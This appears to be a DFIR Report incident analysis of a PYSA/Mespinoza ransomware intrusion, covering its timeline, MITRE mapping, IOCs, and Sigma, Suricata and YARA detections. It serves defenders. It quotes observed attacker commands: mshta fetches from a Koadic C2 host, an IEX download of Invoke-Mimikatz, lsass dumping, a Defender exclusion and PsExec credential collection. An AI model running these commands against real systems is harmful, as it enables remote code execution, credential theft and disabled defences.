

THE DFIR REPORT

Real Intrusions by Real Attackers, The Truth Behind the Intrusion

- REPORTS
- ANALYSTS
- SERVICES ▾
- Thursday, October 31, 2024
- ACCESS DFIR LABS
- MERCHANDISE
- SUBSCRIBE
- CONTACT US

- THREAT INTELLIGENCE
- DETECTION RULES
- DFIR LABS
- MENTORING & COACHING PROGRAM
- CASE ARTIFACTS

empire

koadic

mespinoza

psexec

ransomware

rdp

PYSA/Mespinoza Ransomware

November 23, 2020

Intro

Over the course of 8 hours the PYSA/Mespinoza threat actors used Empire and Koadic as well as RDP to move laterally throughout the environment, grabbing credentials from as many systems as possible on the way to their objective. The threat actors took their time, looking for files and reviewing the backup server before executing ransomware on all systems. Hours after being ransomed, our files were opened from multiple Tor exit nodes, which confirms our suspicion that files had been exfiltrated.

PYSA/Mespinoza seemed to make its big splash when CERT-FR published a [report](#) on intrusions back in March 2020. This group has been in business going back as far as 2018 but recently the group seems to be picking up pace as one of the up and coming big game hunters as noted in Intel 471’s recent [report](#).

Case Summary

In this intrusion the entry was a Windows host with RDP exposed to the internet. The threat actors logged in with a valid account (Domain Administrator). The login was from a Tor exit node and over the course of an 8 hour intrusion we saw them hand off 2 times, for a total of 3 different Tor exits being used to maintain RDP access to the environment.

The account used to access the first beachhead host had enough privileges to immediately begin lateral movement to a domain controller just minutes after entry. Network scanning begun on the domain controller followed closely by Empire. While the Empire C2 remained active during the whole intrusion, we saw little activity from it, more like a fallback channel should their RDP access fall off.

As they started to move laterally to other systems, it was very obvious they were following a checklist playbook. Each time they pivoted, they would check quser, and then dump lsass using Task Manager.

During the intrusion we saw the PYSA threat actors attempt to access credentials via the following techniques::

- Dump lsass with Taskmanager
- Dump lsass with Procdump
- Dump lsass with comsvcs.dll
- Dump credentials with Invoke-Mimikatz
- Extract the shadow copy of the ntds.dit from the domain controller
- Extract and decode backup system credentials from a SQL database
- Access LSA Secrets

Most lateral movement in the environment was via RDP with various legitimate user accounts, as well as PsExec to execute scripts throughout the environment for credential dumping and collection activity.

The threat actor disabled security tools throughout the intrusion by using Local Security Policy Editor and MpPreference to disable Defender. PowerShell Remoting was also used to run the arp command on a few systems.

Besides using RDP and Empire the group also used the Offensive Security Tool (OST) [Koadic](#), which bills itself as a post exploitation toolkit that can stay resident in memory using JScript or VBS

via Windows Script Host to perform its execution. Koadic was only utilized on a few key servers and one of those servers included a persistence mechanism using the default Koadic HTA scheduled task module.

After around 7 hours post initial access, the threat actors began their final actions by RDPing into systems, dropping a PowerShell script and the ransomware executable. The PowerShell script killed various active processes and made sure RDP was open at the firewall and created what appears to be a potentially unique identifier for systems. After that, the ransom would be run to encrypt the system.

After the encryption was done we were able to confirm exfiltration occurring by receiving a callback from a canary document. The threat actors asked for 5 BTC or around \$88,000 USD which tells us these attackers most likely base their ransom demand on the information exfiltrated.

Timeline

Mespinoza/PYSA Ransomware

00:06 UTC RDP login as Domain Administrator into workstation

00:08 Discovery commands executed

00:09 Lateral movement to a domain controller using RDP

00:21 Advanced Port Scanner dropped and executed on domain controller

00:31 Empire executed on domain controller

00:45 PowerShell Remoting from one domain controller to another

00:52 Lsass dumped on domain controller via Task Manager

2:36 Credential access attempt via PsExec and comsvcs.dll across all systems

2:40 Koadic execution on domain controller

C2 45.147.231.210

01:18 Registry hives & keys exfiltrated via Koadic from domain controller

04:20 Invoke-Mimikatz ran on domain controller

05:11 Koadic execution on backup server

C2 45.147.231.210

05:41 Koadic persistence setup on domain controller

06:22 Shadow copy created and then then deleted on the domain controller

07:31 PYSA ransomware install
begins

MITRE ATT&CK

Initial Access

Initial access for this actor was via exposed RDP services. Originally, the actor connected from 198.96.155.3, and then performed a kind of hand off over the course of the campaign, first to 23.129.64.190 and then finally 185.220.100.240. All 3 of these IP's belong to the Tor network and function as exit nodes.

Execution

The threat actors started off by using RDP but also relied on 2 different OSTs during this intrusion.

A few minutes after gaining access, they moved laterally to a domain controller and then executed a PowerShell launcher for [Empire](#).

```
mshta http://45.147.231.210:9999/8k6Mq
mshta http://45.147.231.210:9999/VtgyT
```

```

graph TD
    C2[C2 Channel] -.-> IP[45.147.231.210:9999]
    IP -.-> rundll32[rundll32.exe]
    rundll32 -- "http://45.147.231.210:9999/VtgyT?Q0876J2GJl=331040ce8af14667b3550a4c06f22999:ILAF5V97lL=:||.||.||.\\mshtml,RunHTMLApplication" --> cmd[cmd.exe]
    rundll32 -- "http://45.147.231.210:9999/VtgyT" --> mshstl[mshstl.exe]
    cmd -- "C:\Windows\system32\cmd.exe /q /c chcp 437 & whoami /all 1& C:\Users\USER-1\AppData\Local\Temp\2\18edc778-e76c-aa18-a97b-405f575fde7f.txt 2&&" --> mshstl
    mshstl -- "http://45.147.231.210:9999/VtgyT" --> Parent["Parent Process<br>C:\Windows\System32\cmd.exe"]
  
```


Persistence

Persistence was setup using Koadic to schedule a task to execute a HTA file located in the C:\ProgramData directory at logon as system. This will initiate C2 back to the Koadic server.

```
schtasks /create /tn K0adic /tr "C:\Windows\system32\mshta.exe C:\ProgramData
```

Defense Evasion

The threat actors disabled Windows Defender using Local Group Policy Editor.

Later, they also ran a PowerShell script that would again disable Windows Defender, this time using MpPreference. The script also targeted Malwarebytes, agents, Citrix, Exchange, Veeam, SQL and many other processes. Event ID 5001 was created due to Defender AV Real-Time being disabled.

A Defender exclusion was also added to exclude everything with .exe as the extension.

```
Add-MpPreference -ExclusionExtension ".exe"
```

```
Event ID 5007
```

```
Windows Defender Antivirus Configuration has changed. If this is an unexpected
```

```
Old value:
```

```
New value: HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions\.
```

Credential Access

The threat actors displayed multiple techniques for gathering credentials during this intrusion.

Credentials were dumped manually via Task Manager as they RDPed into each system.

While established on a domain controller the threat actors also created and accessed a shadow copy of the ntds.dit and most likely exfiltrated it via their Koadic C2 channel.

Event ID 1917 (The shadow copy backup for Active Directory Domain Services was successful) was logged to the Directory Service event log on the domain controller.

The threat actors also executed a PowerShell script across the environment using PsExec that took advantage of [comsvcs.dll](#) to dump the lsass process and then copy the dump back to their pivot position on a domain controller.

The threat actors tried using the Sysinternals ProcDump method but the executable was not present on the endpoint.

```
procdump.exe -accepteula -ma lsass.exe mem.dmp
```

The threat actors were focused on the backup server for quite awhile as they dumped credentials from the 3rd party backup software repository. The first script pulls the hashes out of the database and the second decodes the password to plain text. Both scripts were run via PowerShell ISE.

The threat actors also ran Invoke-Mimikatz from BC-Security on one of the domain controllers.

```
IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/BC-Security)
```

We also saw the threat actors save LSA Secrets to disk using the hashdump_sam module in Koadic which runs impacket.

Inveigh was run on a domain controller.

Discovery

The threat actors leveraged many built-in Windows tools for discovery including the following:

```
quser.exe  
whoami.exe /user  
net.exe group /domain  
net.exe group "Domain Users" /domain  
nltest.exe /dclist:  
arp -a
```

The arp command was run using PowerShell Remoting.

They also reviewed a few admin tools while exploring the network including:

```
mmc.exe C:\Windows\system32\dnsmgmt.msc  
mmc.exe C:\Windows\system32\domain.msc  
mmc.exe C:\Windows\system32\compmgmt.msc /s  
mmc.exe C:\Windows\system32\gpedit.msc  
mmc.exe C:\Windows\system32\diskmgmt.msc  
mmc.exe C:\Windows\system32\wbadmin.msc  
veeam.backup.shell.exe
```

The threat actors also brought some tools of their own to aid in discovery tasks including [Advanced Port Scanner](#) and [ADRecon](#).

Here's the description of ADRecon.

Other local discovery was performed using PowerShell such as ps to list the running process on systems.

Lateral Movement

The first lateral movement occurred just 3 minutes after the initial access by the threat actor. RDP was initiated from the beachhead host to a domain controller using the valid account they had used to gain access to the first host.

RDP continued to be the first method of choice while accessing various systems around the environment. After a few hours in, the threat actors decided to automate some credential collection and used PsExec to execute a PowerShell script that called comsvcs.dll for lsass dumping.

```
PsExec.exe -d \\HOST -u "DOMAIN\USER" -p "PASSWORD" -accepteula -s cmd /c "p
```

Command and Control

The threat actors used 3 different C2 channels, RDP, PowerShell Empire, and Koadic.

IP's used to maintain access over RDP

```
198.96.155.3  
23.129.64.190  
185.220.100.240
```

Empire

```
194.36.190.74:443  
Certificate [b8:20:c2:db:b6:b8:f4:0f:61:a5:c0:27:40:89:e6:30:cd:db:05:5e ]  
Not Before 2020/09/17 18:38:42  
Not After 2021/09/17 18:38:42  
Public Algorithm rsaEncryption  
JA3: 5e12c14bda47ac941fc4e8e80d0e536f  
JA3s: 0eec924176fb005dfa419c80ab72d27c
```

Koadic

45.147.231.210:9999

C2 Check-in

Command execution

Exfiltration

While no plain text exfiltration was seen during this intrusion, canary documents were opened by the threat actors hours after the ransom, confirming that the hours spent on network before ransoming was used to gather files.

The source IP's from these canary documents were also Tor exit nodes just like the RDP connections.

Since no plaintext exfil was observed we assess that the exfiltration was performed via one of the command and control channels either RDP, Empire, or Koadic.

Impact

Around the 7.5 hour mark the threat actors began ransom deployment. Two files were dropped via RDP on each system, a PowerShell script and a PYSA ransomware executable.

```
C:\Users\USER\Downloads\svchost.exe  
C:\Users\USER\Downloads\p.ps1
```

The purpose of the PowerShell script was to disable security tools that might not have been disabled through-out the intrusion.

Additionally, the script would kill many server and database processes allowing encryption of the files that might otherwise be locked by running processes.

Finally, the ransomware exe was executed and the systems ransomed.

Enjoy our report? Please consider donating \$1 or more to the project using [Patreon](#). Thank you for your support!

We also have pcaps, files, memory images, and Kape packages available [here](#).

IOCs

MISP Priv <https://misppriv.circl.lu/events/view/81105>

OTX <https://otx.alienvault.com/pulse/5fbb23c7dfc6aa0ffd92d27f>

Network

```
198.96.155.3
23.129.64.190
185.220.100.240
http://45.147.231.210:9999/8k6Mq
http://45.147.231.210:9999/VtgyT
45.147.231.210
```

194.36.190.74
<https://194.36.190.74>

File

svchost.exe
bd395971a7eb344673de513a15c16098
1db448b0f1adf39874d6ea6b245b9623849f48e5
df0cd6a8a67385ba67f9017a78d6582db422a137160176c2c5c3640b482b4a6c
p.ps1
2df8d3581274a364c6bf8859c9bdc034
8af4bfcef0f3fefae3f33b86815a6f940b64f4b7
eb1d0acd250d32e16fbfb04204501211ba2a80e34b7ec6260440b7d563410def
p.ps1
1da1f49900268fa7d783feda8849e496
72f2352eab5cb0357bdf5950c1d0374a19cfd99
0ab8f14e2c1e6f7c4dfa3d697d935d4fbef3605e15fd0d489d39b7f82c84ba7e
XEKFGUIQQB.hta
5266daf58dd34076e447474c7dce09b2
b0197a53a56939d3d9006df448bc46ef599bac31
81e0d5945ab7374caf2353f8d019873c88728a6c289884a723321b8a21df3c77

Detections

Network

ETPRO TROJAN Win32/Koadic CnC Checkin
ETPRO TROJAN Koadic Command Execution via CnC
ET SCAN Behavioral Unusual Port 445 traffic Potential Scan or Infection
ET POLICY Outbound MSSQL Connection to Non-Standard Port - Likely Malware
ET SCAN NMAP SIP Version Detect OPTIONS Scan
ET MALWARE Possible Metasploit Payload Common Construct Bind_API (from serve

```
GPL SNMP public access udp
ET SCAN Behavioral Unusual Port 139 traffic Potential Scan or Infection
ET SCAN Behavioral Unusual Port 135 traffic Potential Scan or Infection
ET SCAN Behavioral Unusual Port 445 traffic Potential Scan or Infection
ET SCAN Potential SSH Scan OUTBOUND
```

Sigma

[win_hack_koadic](#)

[win_mshta_spawn_shell](#)

[win_susp_whoami](#)

[win_local_system_owner_account_discovery](#)

[win_susp_schtask_creation](#)

[win_susp_powershell_empire_launch](#)

[sysmon_susp_vssadmin_ntds_activity](#)

Yara

```
/*
YARA Rule Set
Author: The DFIR Report
Date: 2020-11-16
Identifier: Case 1010
Reference: https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/
*/

/* Rule Set -----

import "pe"

rule mespinoza_svchost {
```

```
meta:
description = "files - svchost.exe"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2020-11-16"
hash1 = "df0cd6a8a67385ba67f9017a78d6582db422a137160176c2c5c3640b482b4a6c"
strings:
$s1 = ".?AV?$TF_CryptoSystemBase@VPK_Encryptor@CryptoPP@@V?$TF_Base@VRandomi
$s2 = "protonmail.com" fullword ascii
$s4 = "update.bat" fullword ascii
$s5 = ".?AV?$CipherModeFinalTemplate_CipherHolder@V?$BlockCipherFinal@$0A@VE
$s6 = ".?AV?$AlgorithmImpl@VCBC_Encryption@CryptoPP@@V?$CipherModeFinalTempl
$s7 = ".?AV?$TF_ObjectImplBase@VTF_EncryptorBase@CryptoPP@@U?$TF_CryptoSchem
$s8 = ".?AV?$TF_ObjectImpl@VTF_EncryptorBase@CryptoPP@@U?$TF_CryptoSchemeOpt
$s9 = ".?AV?$TF_EncryptorImpl@U?$TF_CryptoSchemeOptions@V?$TF_ES@URSA@Cryptc
$s10 = ".?AV?$TF_EncryptorImpl@U?$TF_CryptoSchemeOptions@V?$TF_ES@URSA@Crypt
$s11 = ".?AV?$TF_ObjectImplBase@VTF_EncryptorBase@CryptoPP@@U?$TF_CryptoSche
$s12 = ".?AV?$AlgorithmImpl@VTF_EncryptorBase@CryptoPP@@V?$TF_ES@URSA@Cryptc
$s13 = ".?AV?$TF_ObjectImpl@VTF_EncryptorBase@CryptoPP@@U?$TF_CryptoSchemeOp
$s14 = "Check out our website, we just posted there new updates for our part
$s15 = "Also, be aware that we downloaded files from your servers and in cas
$s16 = "E3AF7F517600CD3B9006519EA9E24F65CE0318C3F326A20C1C73F644F32C4CDCEE7A
$s17 = "30820220300D06092A864886F70D01010105000382020D003082020802820201009A
$s18 = "A76229D9DAD792BF87826DBE0FFED40E7CEE781DF4E8B4AF086E21D41CE0912DAC62
$s19 = "CE012C93EC57B77DB5D9D4C345E7F3A2564C09E728C8B88CCD6A824C070EDDA34DA7
$s20 = ": ;+;6;?;E;" fullword ascii /* hex encoded string 'n' */
condition:
uint16(0) == 0x5a4d and filesize < 2000KB and
( pe.imphash() == "b5e8bd2552848bb7bf2f28228d014742" or 8 of them )
}
```

MITRE

External Remote Services – T1133

Valid Accounts – T1078

Graphical User Interface – T1061

Mshta – T1218.005

PowerShell – T1059.001

Local Account – T1087.001

Remote System Discovery – T1018

File and Directory Discovery – T1083

Domain Trust Discovery – T1482

Account Discovery – T1087

Scheduled Task – T1053.005

Lateral Tool Transfer – T1570

SMB/Windows Admin Shares – T1021.002

Remote Desktop Protocol – T1021.001

Credential Dumping – T1003

LSASS Memory – T1003.001

Process Discovery – T1057

Standard Application Layer Protocol – T1071

Exfiltration Over C2 Channel – T1041

Data Encrypted for Impact – T1486

Rundll32 – T1218.011

Internal case 1010

Share this:



Twitter



LinkedIn



Reddit



Facebook



WhatsApp

[empire](#) _ [koadic](#) _ [mespinoza](#) _ [ransomware](#) _ [rdp](#)

Search

Subscribe



Register For Our Next CTF



Reports



Threat Intelligence



Detection Rules



DFIR Labs



Mentoring and Coaching

Proudly powered by [WordPress](#) | Copyright 2023 | The DFIR Report | All Rights Reserved